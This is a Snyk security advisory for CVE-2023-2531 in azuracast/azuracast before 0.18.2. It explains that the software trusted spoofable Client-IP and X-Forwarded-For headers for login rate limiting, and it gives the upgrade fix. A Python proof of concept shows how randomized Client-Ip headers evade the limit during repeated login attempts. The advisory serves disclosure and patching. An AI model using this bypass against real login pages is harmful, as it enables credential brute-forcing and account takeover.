Brute Force Affecting azuracast/azuracast package, versions <0.18.2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PHP-AZURACASTAZURACAST-5497341
- published5 May 2023
- disclosed5 May 2023
- creditTsarSec
Introduced: 5 May 2023
CVE-2023-2531 (opens in a new tab)How to fix?
Upgrade azuracast/azuracast to version 0.18.2 or higher.
Overview
Affected versions of this package are vulnerable to Brute Force such that the getIp() function first checks for a value inside non-default headers like Client-IP or X-Forwarded-For which can contain arbitrary contents. This allows an attacker to randomly generate a new value for any of these headers on each subsequent request to completely bypass the rate-limiting.
PoC
import requests
login_url = "http://localhost/login"
data = {"username":"root@localhost.local", "password": "xxx"}
for i in range(0,100):
print(i)
r = requests.post(login_url, data=data)
if "You have attempted" in r.text:
print(f"hit rate limiting after {i} tries")
break
# now try with a randomized CLIENT_IP header
for i in range(0,100):
print(i)
headers = {"Client-Ip" : str(i)}
print(headers)
r = requests.post(login_url, data=data, headers=headers)
if "You have attempted" in r.text:
print(f"hit rate limiting after {i} tries")
exit()